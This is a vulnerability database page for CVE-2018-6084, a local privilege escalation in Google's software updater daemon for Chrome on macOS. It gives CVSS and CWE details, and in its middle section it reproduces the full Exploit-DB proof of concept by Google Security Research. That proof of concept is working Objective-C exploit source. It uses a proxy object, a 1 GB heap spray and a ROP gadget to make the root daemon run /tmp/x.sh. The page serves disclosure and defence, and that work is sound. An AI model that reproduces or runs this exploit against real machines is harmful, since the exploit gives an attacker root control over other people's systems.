CVE-2018-6084 : Detail

CVE-2018-6084

7.8
/
High
A03-Injection
0.07%V3
Local
2019-01-09
18h00 +00:00
2019-01-10
09h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Insufficiently sanitized distributed objects in Updater in Google Chrome on macOS prior to 66.0.3359.117 allowed a local attacker to execute arbitrary code via an executable file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44307

Publication date : 2018-03-19 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Google software updater ships with Chrome on MacOS and installs a root service (com.google.Keystone.Daemon.UpdateEngine) which lives here: /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon This service vends a Distributed Object which exposes an API for updating google software running on the machine. Distributed Objects are very very hard to safely use across a privileged boundary. The GoogleSoftwareUpdateDaemon process attempts to "sanitize" objects passed to it by serializing and deserializing them to a plist, however this still means we can attack the plist serializing code! Specifically, with D.O. we can pass proxy objects which allow us to overload all objective-c method calls. We can make the plist code think it's serializing a CFString, and then change our behaviour to return a different CFTypeID so we become a dictionary for example. The plist serialization code is not written to defend against such proxy objects, because D.O. should not be used across a privilege boundary. In this case I'm targetting the following code in CoreFoundation: static void _flattenPlist(CFPropertyListRef plist, CFMutableArrayRef objlist, CFMutableDictionaryRef objtable, CFMutableSetRef uniquingset); plist will be a proxy for the FakeCFObject I define. We can first pretend to be a CFString to pass some other type checks, then become a CFDictionary (by simply returning a different return value for the _cfTypeID method.) We can then reach the following code: CFIndex count = CFDictionaryGetCount((CFDictionaryRef)plist); STACK_BUFFER_DECL(CFPropertyListRef, buffer, count <= 128 ? count * 2 : 1); CFPropertyListRef *list = (count <= 128) ? buffer : (CFPropertyListRef *)CFAllocatorAllocate(kCFAllocatorSystemDefault, 2 * count * sizeof(CFTypeRef), __kCFAllocatorGCScannedMemory); CFDictionaryGetKeysAndValues((CFDictionaryRef)plist, list, list + count); for (CFIndex idx = 0; idx < 2 * count; idx++) { _flattenPlist(list[idx], objlist, objtable, uniquingset); } Since we're not a real CFDictionary we can return an arbitrary value for count. If we return a value < 0 it will be used to calculate the size of a stack buffer. By passing a carefully chosen value this lets you move the stack pointer down an arbitrary amount, off the bottom of the stack and potentially into another thread's stack or on to the heap, allowing memory corruption. There will be dozens of other places where attack-controlled proxy objects will be able to interact with system code that was not written expecting to have to deal with proxy objects. The correct fix is to not use Distributed Objects across a privilege boundary, as per Apple's advice: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html build this PoC: clang -o ks ks.m -framework Foundation -framework CoreFoundation start lldb waiting for the daemon to start: sudo lldb --wait-for -n "/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon" continue lldb and run the poc, you should see that the stack ends up pointing well outside the stack :) */ /* ianbeer Google software updater LPE on MacOS due to unsafe use of Distributed Objects Google software updater ships with Chrome on MacOS and installs a root service (com.google.Keystone.Daemon.UpdateEngine) which lives here: /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon This service vends a Distributed Object which exposes an API for updating google software running on the machine. Distributed Objects are very very hard to safely use across a privileged boundary. The GoogleSoftwareUpdateDaemon process attempts to "sanitize" objects passed to it by serializing and deserializing them to a plist, however this still means we can attack the plist serializing code! Specifically, with D.O. we can pass proxy objects which allow us to overload all objective-c method calls. We can make the plist code think it's serializing a CFString, and then change our behaviour to return a different CFTypeID so we become a dictionary for example. The plist serialization code is not written to defend against such proxy objects, because D.O. should not be used across a privilege boundary. In this case I'm targetting the following code in CoreFoundation: static void _flattenPlist(CFPropertyListRef plist, CFMutableArrayRef objlist, CFMutableDictionaryRef objtable, CFMutableSetRef uniquingset); plist will be a proxy for the FakeCFObject I define. We can first pretend to be a CFString to pass some other type checks, then become a CFDictionary (by simply returning a different return value for the _cfTypeID method.) We can then reach the following code: CFIndex count = CFDictionaryGetCount((CFDictionaryRef)plist); STACK_BUFFER_DECL(CFPropertyListRef, buffer, count <= 128 ? count * 2 : 1); CFPropertyListRef *list = (count <= 128) ? buffer : (CFPropertyListRef *)CFAllocatorAllocate(kCFAllocatorSystemDefault, 2 * count * sizeof(CFTypeRef), __kCFAllocatorGCScannedMemory); CFDictionaryGetKeysAndValues((CFDictionaryRef)plist, list, list + count); for (CFIndex idx = 0; idx < 2 * count; idx++) { _flattenPlist(list[idx], objlist, objtable, uniquingset); } Since we're not a real CFDictionary we can return an arbitrary value for count. If we return a value < 0 it will be used to calculate the size of a stack buffer. By passing a carefully chosen value this lets you move the stack pointer down an arbitrary amount, off the bottom of the stack and potentially into another thread's stack or on to the heap, allowing memory corruption. There will be dozens of other places where attack-controlled proxy objects will be able to interact with system code that was not written expecting to have to deal with proxy objects. The correct fix is to not use Distributed Objects across a privilege boundary, as per Apple's advice: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html build this PoC: clang -o ks_r00t ks_r00t.m -framework Foundation -framework CoreFoundation This PoC exploit will run the shell script /tmp/x.sh as root. */ #import <objc/Object.h> #import <Foundation/Foundation.h> #import <CoreFoundation/CoreFoundation.h> #include <dlfcn.h> #import <stdio.h> #include <stdlib.h> #import <unistd.h> @interface FakeCFObject : NSObject { int count; } - (id) init; - (CFTypeID) _cfTypeID; - (void) getObjects:(id)objs andKeys:(id)keys; - (void) getObjects:(id)objs range:(id)r; - (unsigned long) count; @end @implementation FakeCFObject - (id)init { self = [super init]; if (self) { count = 0; } return self; } - (CFTypeID) _cfTypeID; { NSLog(@"called cfTypeID"); count++; switch (count) { case 1: return CFStringGetTypeID(); default: return CFArrayGetTypeID(); } } - (unsigned long) count; { NSLog(@"called count"); uint64_t rsp_guess = 0x700006000000; uint64_t heap_spray_guess = 0x150505000; uint64_t sub_rsp = rsp_guess - heap_spray_guess; sub_rsp >>= 3; sub_rsp |= (1ull<<63); printf("count: 0x%016llx\n", sub_rsp); return sub_rsp; } - (void) getObjects:(id)objs andKeys:(id)keys; { NSLog(@"called getObjects_andKeys"); } - (void) getObjects:(id)objs range:(id)r; { NSLog(@"called getObjects_andKeys"); } @end // heap sprap assumption is that this will end up at 0x150505000 /* heap spray structure: we need to spray for two values, firstly the bug will sub rsp, CONTROLLED we want that to put the stack into the spray allocation +----------------------+ | | | regular thread stack | | | +-- +......................+ <-- base of stack when we use the bug to cause a | . . massive sub rsp, X to move the stack pointer into the heap spray | . <many TB of virtual . | . address space> . | . . | | + - - - - - - - + <--^--- 1G heap spray | | | FAKE_OBJC | | top half is filled with fake objective c class objects | | | FAKE_OBJC | | bottom half is filled with 0x170707000 | | | FAKE_OBJC | | | | | ... | | +--- these pointers all hopefully point somewhere into the top half of the heap spray | | + - - - - - - - + | | | | | 0x170707000 | <--^-+ | | | 0x170707000 | | +-- this is the first entry in the stack-allocated buffer | | | 0x170707000 | | | if we override the getObjectsforRange selector of the D.O. so that nothing gets | | | ... | | | filled in here this will be used uninitialized | | | 0x170707000 | <--^--+ +-> +-----------------| <--^--- rsp points here after the massive sub. | | 0x170707000 | | we want rsp to point anywhere in the lower half of the heap spray | | xxxxxxxxxxx | | | | xxxxxxxxxxx | | | | 0x170707000 | | | +---------------+ <--^--- we send this 1G region as an NSData object . . . . When we get RIP control rdi will point to the bottom of the alloca buffer. That is, it will point to a qword containing 0x170707070 The gadget below will turn that into RIP control with rdi pointing to the fake objective-c class object. Since the first 16 bytes of that are unused by objc_msgSend we can point the second fptr to system and put a 16 byte command at the start of the fake class. */ // this is tls_handshake_set_protocol_version_callback in Security.framework: char* gadget = "\x55" // push rbp "\x48\x89\xE5" // mov rbp, rsp "\x89\x77\x58" // mov [rdi+58h], esi "\x48\x8B\x47\x28" // mov rax, [rdi+28h] "\x48\x8B\x7F\x30" // mov rdi, [rdi+30h] "\x48\x8B\x40\x30" // mov rax, [rax+30h] "\x5D" // pop rbp "\xFF\xE0"; // jmp rax uint64_t gadget_address() { void* haystack = dlsym(RTLD_DEFAULT, "NSAllocateObject"); printf("haystack: %p\n", haystack); void* found_at = memmem(haystack, 0x10000000, gadget, 22); printf("found at: %p\n", found_at); return found_at; } // heap spray target of 0x170707000 // this will be the page containing the fake objective c object void* build_upper_heap_spray_page() { uint64_t spray_target = 0x170707000; uint64_t target_fptr = gadget_address(); struct fake_objc_obj { char cmd[16]; uint64_t cache_buckets_ptr; // +0x10 uint64_t cache_buckets_mask; // +0x18 uint64_t cached_sel; // +0x20 uint64_t cached_fptr; // +0x28 uint64_t second_fptr; // +0x30 }; struct fake_objc_obj* buf = malloc(PAGE_SIZE); memset(buf, 'B', PAGE_SIZE); uint64_t target_selector = (uint64_t)sel_registerName("class"); printf("target selector address: %llx\n", target_selector); strcpy(buf->cmd, "/tmp/x.sh"); buf->cache_buckets_ptr = spray_target + 0x20; buf->cache_buckets_mask = 0; buf->cached_sel = target_selector; buf->cached_fptr = target_fptr; buf->second_fptr = (uint64_t)system; return buf; } // heap spray target of 0x150505000 // this will be the page containing the pointer to the fake objective c class void* build_lower_heap_spray_page() { uint64_t* buf = malloc(PAGE_SIZE); for (int i = 0; i < PAGE_SIZE/8; i++) { buf[i] = 0x170707000; } return buf; } int main() { id theProxy; theProxy = [[NSConnection rootProxyForConnectionWithRegisteredName:@"com.google.Keystone.Daemon.UpdateEngine" host:nil] retain]; printf("%p\n", theProxy); FakeCFObject* obj = [[FakeCFObject alloc] init]; NSDictionary* dict = @{@"ActivesInfo": obj}; id retVal = [theProxy claimEngineWithError:nil]; printf("retVal: %p\n", retVal); uint32_t heap_spray_MB = 1024; uint32_t heap_spray_bytes = heap_spray_MB * 1024 * 1024; uint32_t heap_spray_n_pages = heap_spray_bytes / PAGE_SIZE; void* lower_heap_spray_page = build_lower_heap_spray_page(); void* upper_heap_spray_page = build_upper_heap_spray_page(); uint8_t* heap_spray_full_buffer = malloc(heap_spray_bytes); for (int i = 0; i < heap_spray_n_pages/2; i++) { memcpy(&heap_spray_full_buffer[i*PAGE_SIZE], lower_heap_spray_page, PAGE_SIZE); } for (int i = heap_spray_n_pages/2; i < heap_spray_n_pages; i++) { memcpy(&heap_spray_full_buffer[i*PAGE_SIZE], upper_heap_spray_page, PAGE_SIZE); } // wrap that in an NSData: NSData* data = [NSData dataWithBytes:heap_spray_full_buffer length:heap_spray_bytes]; // trigger the bugs [retVal setParams:dict authenticationPort:data]; return 0; }

Products Mentioned

Configuraton 0

Google>>Chrome >> Version To (excluding) 66.0.3359.117

Apple>>Macos >> Version -

Configuraton 0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_workstation >> Version 6.0

References

https://www.exploit-db.com/exploits/44307/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/103468
Tags : vdb-entry, x_refsource_BID
https://crbug.com/822424
Tags : x_refsource_MISC
http://www.securityfocus.com/bid/103917
Tags : vdb-entry, x_refsource_BID